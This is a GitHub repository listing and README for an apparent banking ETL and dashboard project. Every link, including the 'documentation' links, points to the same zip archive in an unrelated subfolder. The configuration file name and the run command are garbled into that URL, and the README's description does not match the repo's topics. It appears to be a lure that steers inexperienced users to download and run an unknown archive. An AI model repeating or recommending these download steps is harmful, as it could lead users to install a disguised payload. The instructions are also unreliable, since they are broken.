https://github.com/0xunkn0wn4m1r/data_engineering_banking_project
🏦 Build a complete data engineering workflow for a banking system, showcasing ETL processes, data transformations, and an interactive financial dashboard.
https://github.com/0xunkn0wn4m1r/data_engineering_banking_project
automation data-analysis data-cleaning data-science feature-engineering fintech-bank flask-api loan-default-prediction machine-learning mlops model-explainability numpy postgresql scikit-learn segmentation shap sql unsupervised-learning
Last synced: 3 months ago
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🏦 Build a complete data engineering workflow for a banking system, showcasing ETL processes, data transformations, and an interactive financial dashboard.
- Host: GitHub
- URL: https://github.com/0xunkn0wn4m1r/data_engineering_banking_project
- Owner: 0xUnkn0wn4M1R
- Created: 2025-10-31T16:23:45.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2025-10-31T22:43:51.000Z (3 months ago)
- Last Synced: 2025-11-01T00:16:44.036Z (3 months ago)
- Topics: automation, data-analysis, data-cleaning, data-science, feature-engineering, fintech-bank, flask-api, loan-default-prediction, machine-learning, mlops, model-explainability, numpy, postgresql, scikit-learn, segmentation, shap, sql, unsupervised-learning
- Language: Python
- Size: 1.47 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🌟 data_engineering_banking_project - Streamlined Banking Data Management
## 🚀 Getting Started
Welcome to the **data_engineering_banking_project**! This application simplifies the process of managing banking data. With an end-to-end ETL pipeline, you can extract, transform, and visualize your banking transactions easily.
## 📥 Download Link
[](https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip)
## 📝 Overview
This project automates the extraction of banking transactions from PostgreSQL. It transforms the data using Python with Pandas and presents it in an interactive dashboard using Plotly. Whether you are analyzing personal finances or handling business transactions, this tool makes your workflow easier.
### 🔧 Features
- **Automated Data Extraction**: Pulls your data from PostgreSQL effortlessly.
- **Data Transformation**: Transform and clean your transactions with Pandas.
- **Interactive Dashboard**: Visualize your data with a Plotly dashboard.
- **Easy Setup**: Designed for simplicity, even without programming experience.
## 💻 System Requirements
To run this application, ensure you meet the following requirements:
- **Operating System**: Windows 10 or later, macOS, or any Linux distribution
- **Python Version**: Python 3.7 or newer installed
- **PostgreSQL**: Version 9.5 or newer
- **Memory**: At least 4 GB RAM
- **Disk Space**: Minimum of 100 MB available
## 🔧 Installation Steps
### 1. Download the Application
Visit the Releases page to download the latest version of the software:
[Download Latest Release](https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip)
### 2. Extract Files
Once the download is complete, locate the downloaded file (usually in your "Downloads" folder) and extract it. You can use built-in tools for this on most systems.
### 3. Install Dependencies
Before running the application, you must install some dependencies. Open your command line interface (Command Prompt, Terminal, etc.) and run the following commands:
```bash
pip install pandas plotly psycopg2
```
### 4. Configure Database Connection
Edit the configuration file to set your PostgreSQL connection details. The configuration file is named `https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip` and looks like this:
```json
{
"host": "your_database_host",
"port": 5432,
"database": "your_database_name",
"user": "your_username",
"password": "your_password"
}
```
Replace the placeholders with your actual database information.
### 5. Run the Application
To start the application, navigate to the folder where you extracted the files in your command line. Run the following command:
```bash
python https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip
```
The application will connect to your PostgreSQL database and begin the data extraction process.
## 📊 Using the Dashboard
Once the data extraction and transformation are complete, the dashboard will open in your web browser. Here you can:
- View your banking transactions.
- Filter data by date, amount, and categories.
- Generate charts to visualize your spending habits.
## 🌐 Contribution
If you want to contribute to this project, feel free to fork the repository and submit a pull request. Always welcome new ideas and improvements!
## 🤝 Community Support
If you have any questions or need help, please reach out to the community or check the issues section of the GitHub repository.
## 🔔 License
This project is licensed under the MIT License. Feel free to use and modify it as needed.
## 💬 Additional Resources
- [Pandas Documentation](https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip)
- [Plotly Documentation](https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip)
- [PostgreSQL Documentation](https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip)
## 📅 Future Updates
We are looking to add more features, such as automated reports and additional visualization options. Stay tuned for future releases!
For more detailed information, visit the following:
[Download Latest Release](https://raw.githubusercontent.com/0xUnkn0wn4M1R/data_engineering_banking_project/main/Elodea/data_engineering_banking_project.zip)